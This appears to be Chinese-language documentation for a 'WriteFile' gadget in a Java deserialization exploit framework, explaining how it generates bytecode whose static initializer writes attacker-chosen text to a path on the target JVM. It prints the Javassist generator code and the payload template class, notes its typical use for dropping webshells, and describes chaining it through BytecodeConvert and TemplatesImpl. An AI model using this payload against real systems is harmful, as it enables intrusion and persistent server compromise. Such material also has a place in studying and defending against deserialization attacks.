- 类别:bytecode 别名:— 优先级:20
- 作者:Ar3h
- 依赖:无第三方依赖(内部使用
commons-codec的Base64与 Javassist)
注意:源码上标注了
@Deprecated,官方推荐改用 WriteLargeFile(支持二进制与大文件)。
生成一段“字节码 payload”:其静态初始化块在被目标 JVM 加载时,用 Files.write 把一段字符串写入指定路径。是字节码类 sink(END),典型用于落地 webshell 等纯文本文件。
- 入口
tags:Bytecode、ENDBytecode—— 本 gadget 产出的是byte[]字节码,需由上游“字节码装载器” BytecodeConvert(其nextTags唯一含Bytecode)承接,装入TemplatesImpl后在反序列化时触发类加载。END—— 终点标签,nextTags为空,本 gadget 是链尾 sink,之后不再衔接任何 gadget。
- 衔接
nextTags:无。 excludes:无。
gadget 本体不含任何写文件逻辑,它只是用 Javassist 把用户参数“烧录”进一个模板类的静态字段,再导出该类的字节码:
public byte[] getObject() throws Exception {
JavassistHelper javassistHelper = new JavassistHelper(WriteFileBytecode.class);
String prefix = "b64:";
// content 以 "b64:" 开头则先 Base64 解码,否则原样使用
String text = this.content.startsWith(prefix)
? new String(Base64.decodeBase64((String)this.content.substring(prefix.length())))
: this.content;
javassistHelper.modifyStringField("content", text); // 写入模板静态字段 content
javassistHelper.modifyStringField("path", this.path); // 写入模板静态字段 path
return javassistHelper.getBytecode(); // 导出改写后的类字节码
}
@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
chain.doCreate(context); // 先驱动内层(本链尾 sink 通常内层为空/占位)
return this.getObject(); // 返回 byte[] 字节码交给上游 BytecodeConvert
}modifyStringField 直接改写模板类里两个静态常量字段 content / path。真正的危险行为在模板类的静态初始化块中——当上游把这段字节码通过 TemplatesImpl.defineClass + newInstance 触发实例化时执行:
public class WriteFileBytecode {
public static String content;
public static String path;
public WriteFileBytecode() {
try {
// 以 UTF-8 把 content 写入 path
Files.write(Paths.get(path, new String[0]),
content.getBytes(Charset.forName("UTF-8")),
new OpenOption[0]);
} catch (Exception exception) { /* 静默吞异常 */ }
}
static { new WriteFileBytecode(); } // 类加载即执行
}要点:
content支持b64:前缀,先在生成侧 Base64 解码——目的是避免特殊字符(如换行、引号)在参数传递/字节码字符串常量中破坏 payload,与 payload 内容无关。- 写入用
Files.write默认打开选项(CREATE/TRUNCATE_EXISTING),即覆盖写;仅支持 UTF-8 文本,不适合二进制(二进制会因编码破坏)。 - 静态块
catch(Exception)静默,写失败不报错。
| 字段 | 名称 | 说明 | 默认 | 可选值 |
|---|---|---|---|---|
content |
写入文件内容 | 无前缀直接写入;以 b64: 开头则 Base64 解码后写入,用于防止特殊字符传参报错 |
无 | — |
path |
写入目标文件路径 | 目标文件绝对/相对路径 | output.txt |
— |
- 无版本依赖限制,纯 JDK API(
java.nio.file.Files),JDK 7+ 均可。 - 仅支持写入简单字符串(如 webshell 文本),不适用二进制文件;二进制/大文件请用 WriteLargeFile。
- 覆盖写语义:目标已存在会被截断覆盖。
- 需要上游具备“把
byte[]字节码装入并触发类初始化”的能力(TemplatesImpl路线,通常要求目标 JDK < 17)。 - 已被官方
@Deprecated。
自由构件,未直接出现在 51 条预设链中(usedInChains 为空)。可手动组合为 [..., BytecodeConvert, WriteFile],与 Exec 在“命令执行”链中的位置等价,只是把 sink 换成文件落地。
- 上游(承接本
Bytecodetag):BytecodeConvert —— 把本 gadget 产出的字节码装入TemplatesImpl。 - 同族 sink(同为
Bytecode/END):WriteLargeFile(二进制/大文件)、WriteFileExec(写二进制并执行)、Exec(命令执行)、Sleep(延时探测)。